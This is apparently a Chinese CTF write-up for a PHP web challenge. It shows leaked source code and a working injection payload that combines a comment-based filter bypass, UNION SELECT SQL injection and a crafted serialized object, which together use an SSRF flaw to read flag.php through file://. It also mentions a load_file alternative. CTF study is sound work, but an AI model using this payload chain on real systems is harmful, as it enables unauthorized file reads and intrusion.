![](https://img-blog.csdnimg.cn/img_convert/2e4a0f1f611a61214950ac70f53731ed.png)
图1 注册后的界面
![](https://img-blog.csdnimg.cn/img_convert/cbc3670bc4688353c1faf261eec1678a.png)
图2 点击cxk
![](https://img-blog.csdnimg.cn/img_convert/063c67b6c3554ea90b98aab4b9333df1.png)
图3 看回显点
提示有反序列化和网站绝对路径,存在注入点,union select和空格被过滤
![](https://img-blog.csdnimg.cn/img_convert/416af916abf8d9de9a95591f9e9ff523.png)
图4 表名
![](https://img-blog.csdnimg.cn/img_convert/879b6cc92dfb68e3d1fecf224701c4cb.png)
图5 列名
![](https://img-blog.csdnimg.cn/img_convert/e284a13a3de01ac64f720fdb8f3ef49d.png)
图6 字段
发现data是序列化字符串,根据提示并观察图7
![](https://img-blog.csdnimg.cn/img_convert/0dd3a55b6334c024e98c819c2e586443.png)
图7 view,php
data反序列化后回显到view.php,并且将blog网址的内容扒下拉,在网页下方展示,存在ssrf漏洞.
看别人的wp,发现要扫目录,但我自己扫不到 :(
在robots.txt发现user.php.bak,并下载到源码
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
可以看到data中存的是序列化数据,我们可以构造并传入序列化内容尝试利用ssrf漏洞读取flag.php。
因为只有在blog才有获取内容的入口和出口,我们尝试在blog(第四列)进行序列化字符串的注入
![](https://img-blog.csdnimg.cn/img_convert/39f47a20faa305511579259076ccedc1.png)
图8 序列化字符串注入
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
查看页面源代码
![](https://img-blog.csdnimg.cn/img_convert/39580865c023c94fa28f4ce2a05839c1.png)
![](https://img-blog.csdnimg.cn/img_convert/0d0e7add89327a4a6fa833eb0d98ba78.png)
另一种解法:load_file
![](https://img-blog.csdnimg.cn/img_convert/3701f4cdead2751984400c0ddb4863da.png)
查看权限
![](https://img-blog.csdnimg.cn/img_convert/33041af96800292ebdd56379a2aed948.png)
参考文章: